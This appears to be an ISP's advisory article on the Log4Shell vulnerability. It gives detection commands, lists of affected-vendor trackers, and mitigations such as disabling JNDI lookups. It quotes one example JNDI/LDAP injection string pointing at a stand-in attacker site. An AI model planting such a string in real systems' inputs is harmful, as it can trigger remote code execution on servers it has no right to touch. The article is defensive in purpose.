How To Identify and Protect your Application from Log4Shell Vulnerability

On 9th December 2021, a new zero-day vulnerability for Apache Log4j was reported by the Apache Software Foundation which can now tracked under CVE-2021-44228. It is known by the names Log4Shell and LogJam.

The Log4j vulnerability is a zero-day vulnerability. This means it has been published before the relevant vendors can release patches to their software. So workarounds are being used where appropriate while we wait for patches to be released.

In this article we will help you understand what Apache Log4J is, what the Log4Shell vulnerability can cause, a list of the most popular systems and devices using the Log4j library and, finally, a list of useful links on how to scan and patch your online systems.

What is Log4J?

Log4j is a java-based logging package used by developers to log errors in both Linux and Windows platforms.

The Log4j library is frequently in Java applications and is included in Apache frameworks including Apache Struts2, Apache Solr, Apache Druid, APache Flink and Apache Swift.

Currently, Version 1 of the Log4j library is no longer supported and Developers should migrate to the latest version (Log4j 2.16.0).

Read more about Apache Log4j v2 here.

What Does Log4Shell Vulnerability Do?

The Log4Shell vulnerability (CVE-2021-44228) is classified under the highest severity mark and allows an attacker to execute arbitrary code by injecting a sub-string in the form “${jndi:ldap://some.attacker-controlled.site/}” into a logged message.

According to the National Vulnerability Database (NVD), it’s rated as 10.0 CVSSv3 which is the worst possible. If successfully exploited, attackers can conduct a Remote Code Execution (RCE) attack which can be used to compromise servers and online devices.

Which Software and Devices are Vulnerable?

After an extensive research we have summarized a list of websites that present a list of Vendors and Software which are vulnerable to the Log4j 0day threat.

1. https://github.com/NCSC-NL/log4shell/blob/main/software/README.md
2. https://www.continuitysoftware.com/blog/centralized-list-of-storage-and-backup-systems-affected-by-zero-day-log4shell-vulnerability-cve-2021-44228/
3. https://www.bleepingcomputer.com/news/security/log4j-list-of-vulnerable-products-and-vendor-advisories/
4. https://github.com/cisagov/log4j-affected-db
5. https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages

How To Discover Log4j within your Infrastructure

The first step you need to do is to check if Log4j is installed anywhere within your infrastructure’s online applications and devices. For this we recommend that you do a file system search for log4j, including searching within EAR, JAR and WAR files.

Sample Commands:

find / -type f -print0 |xargs -n1 -0 zipgrep -i log4j2 2>/dev/null

dpkg -l | grep log4j

How To Protect from Log4j Vulnerability

The first course of action to protect from the Log4j vulnerability is to download & install the latest updates from the software vendors. When a vendor has not provided an update to product, the vulnerability can be mitigated in previous releases of Log4j (2.10 and later) by setting system property “log4j2.formatMsgNoLookups” to “true” or by removing the JndiLookup class from the classpath.

If you are using a software which is not known to be exposed to this vulnerability, you can still use the commands given above, to detect any instances of the Log4j and any dependent packages which may exist within your infrastructure.

More information about the Log4j/2 patch can be found here:

• https://logging.apache.org/log4j/2.x/security.html
• https://logging.apache.org/log4j/2.x/download.html

Moreover, IT administrators should consider taking proactive measures within their organizations infrastructure. The recommended Log4Shell proactive measures are:

1. Block suspicious outbound traffic, such as LDAP and RMI, with the use of a Firewall.
   
2. Disable JNDI lookup:
   • Setup log4j2.formatMsgNoLookups=true
   • Remove the JndiLookup file in the log4j-core and restart the service
     
3. Disable JNDI
   • Setup spring.jndi.ignore=true

The following article from Naked Security tells you what you need to know, and how to fix it.

https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/

How can NetShop ISP Help You?

Customers with Managed Services and/or Premium SLA can contact us for assistance in detecting and patching your systems so you are protected from the Log4Shell.

Customers with Unmanaged Servers who don’t have the expertise or in-house resources to handle the Log4j vulnerability can still contact us and we will promptly get back to you for the next step.